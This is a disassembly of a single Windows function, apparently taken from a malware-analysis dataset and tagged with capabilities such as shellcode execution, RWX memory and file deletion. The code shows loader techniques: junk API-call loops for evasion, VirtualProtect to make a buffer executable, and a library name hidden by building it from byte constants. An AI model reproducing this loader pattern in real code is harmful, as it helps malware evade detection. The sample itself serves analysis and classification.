Function at 0x80f370
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Identify system language via api
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x81056c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x22f0
call fcn.00413a00
push ebx
mov ebx, dword [esp + 0x28]
push ebp
mov ebp, dword [esp + 0xec]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2d1a6
jge 0x80f3c1
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0xb9a560], 0x6fb
jne 0x80f3d9
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9af9f6
jle 0x80f3f1
cmp ebx, 0xc10b30
je 0x80f3f1
cmp ebp, 0x90503cc
jne 0x80f3fa
inc esi
cmp esi, 0x83362
jl 0x80f3af
cmp dword [0xb9a560], 0xcf8
jne 0x80f59d
push 0
call fcn.00407bdd
add esp, 4
xor ebp, ebp
push ebp
push ebp
call fcn.004175b4
add esp, 8
lea eax, [esp + 0x48]
push eax
call fcn.00405b70
push ebp
call fcn.00407d30
fldz
push ecx
fstp qword [esp]
call fcn.00407d60
fstp st(0)
push ebp
push ebp
call fcn.00407b9d
push ebp
push ebp
call fcn.00407b9d
push ebp
call fcn.00407e81
add esp, 0x1c
push ebp
push ebp
push ebp
call fcn.00407f33
add esp, 0xc
push ebp
push ebp
push ebp
push ebp
push ebp
call fcn.00407898
mov edx, dword [esp + 0x5c]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb4]
add esp, 0x14
mov dword [esp + 0x38], ecx
mov dword [esp + eax + 0x48], 0x404754
mov dword [esp + 0x233c], ebp
test byte [esp + 0x98], 1
lea ecx, [esp + 0x58]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x58], 0x404714
je 0x80f4b6
mov edx, dword [esp + 0x68]
mov eax, dword [edx]
push eax
call fcn.00407d52
add esp, 4
mov eax, dword [esp + 0x68]
mov dword [eax], ebp
mov ecx, dword [esp + 0x78]
mov dword [ecx], ebp
mov edx, dword [esp + 0x88]
mov dword [edx], ebp
mov eax, dword [esp + 0x6c]
mov dword [eax], ebp
mov ecx, dword [esp + 0x7c]
mov dword [ecx], ebp
mov edx, dword [esp + 0x8c]
mov dword [edx], ebp
and dword [esp + 0x98], 0xfffffffe
mov dword [esp + 0x94], ebp
mov dword [esp + 0x58], 0x4046cc
mov byte [esp + 0x233c], 1
mov eax, dword [esp + 0x90]
mov ebx, eax
cmp eax, ebp
je 0x80f557
mov edi, dword [eax]
cmp edi, ebp
je 0x80f54e
push ebp
lea ecx, [esp + 0x38]
call fcn.00407032
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x80f52c
cmp eax, 0xffffffff
jae 0x80f52c
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x34]
and esi, edi
call fcn.0040705a
cmp esi, ebp
je 0x80f54e
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407d52
add esp, 4
lea ecx, [esp + 0x5c]
mov byte [esp + 0x233c], 0
call fcn.0040708b
mov dword [esp + 0x233c], 0xffffffff
mov eax, dword [esp + 0x48]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa0]
mov dword [esp + ecx + 0x48], 0x40470c
push edx
mov dword [esp + 0xa4], 0x4046bc
call fcn.00406c3e
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x80f5b8
mov eax, 0x5d1
add dword [0xb9a560], eax
cmp dword [0xb9a560], 3
jne 0x80f5cf
push 0
push 0
lea eax, [esp + 0x308]
push eax
call edi
inc esi
cmp esi, 0x1518d4
jl 0x80f5a5
mov ecx, dword [0xb9a560]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov dword [0x81a5c4], eax
mov eax, dword [0xb9a560]
xor esi, esi
test eax, eax
je 0x80f628
lea ecx, [ecx]
call fcn.0080eeb0
cmp dword [0xb9a560], 0x29
jne 0x80f61e
push 0
push 0
lea edx, [esp + 0x308]
push edx
push 0
call edi
mov eax, dword [0xb9a560]
inc esi
cmp esi, eax
jb 0x80f600
cmp eax, 0x70
jne 0x80f75a
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0
call esi
push 0
push 0x4042fc
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x300]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea ecx, [esp + 0x38]
push ecx
push 0
push 0x404330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push 0
lea edx, [esp + 0x1704]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
lea eax, [esp + 0x1f04]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
lea ecx, [esp + 0x40]
push ecx
push 0
lea edx, [esp + 0xf0]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
lea eax, [esp + 0x708]
push eax
push 0
call edi
push 0x404134
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0x4041cc
push 0x4043c0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea ecx, [esp + 0xf04]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea edx, [esp + 0xb08]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapDestroy]
mov dword [esp + 0x34], 0x9682ab
lea ebx, [ebx]
cmp dword [0xb9a560], 3
jne 0x80f7ad
push 0x40431c
push 0
lea eax, [esp + 0xf08]
push eax
push 0x404408
push 0x404448
push 0x404468
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
cmp dword [0xb9a560], 0xdf
jne 0x80f853
push 0x404384
push 0
push 0
call edi
xor ecx, ecx
lea eax, [esp + 0x40]
push eax
push ecx
push ecx
lea edx, [esp + 0xf0c]
push edx
push ecx
mov dword [esp + 0x4c], ecx
call ebp
lea eax, [esp + 0x44]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x3c]
push ecx
push 0
push 0
push 0
call esi
push 0x404480
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x4044b8
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push 0x404404
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
push 0x4044f0
push 0x404508
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
dec dword [esp + 0x34]
jne 0x80f780
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x80f868
mov eax, dword [0xb9a560]
mov ecx, dword [0x81a5c4]
lea edx, [esp + 0x3c]
push edx
push 0x40
push eax
push ecx
mov byte [0x815830], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0080f170
mov eax, 0
add dword [0x81a5c4], eax
push 0x815830
mov dword [0x815832], 0x33676d69
mov word [0x815830], 0x736d
mov dword [0x815838], 0x6c6c64
mov word [0x815836], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0xb9a560], 0xc30
jne 0x80f999
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea edx, [esp + 0x1c0]
push edx
push 0x4045c8
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
lea eax, [esp + 0x40]
push eax
push esi
lea ecx, [esp + 0xb0c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x40456c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push esi
lea edx, [esp + 0x704]
push edx
push 0x404584
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
lea eax, [esp + 0xf04]
push eax
push 0x404620
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea ecx, [esp + 0x1704]
push ecx
push 0x40459c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea edx, [esp + 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov eax, dword [esp + 0x3c]
push esi
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x2334]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret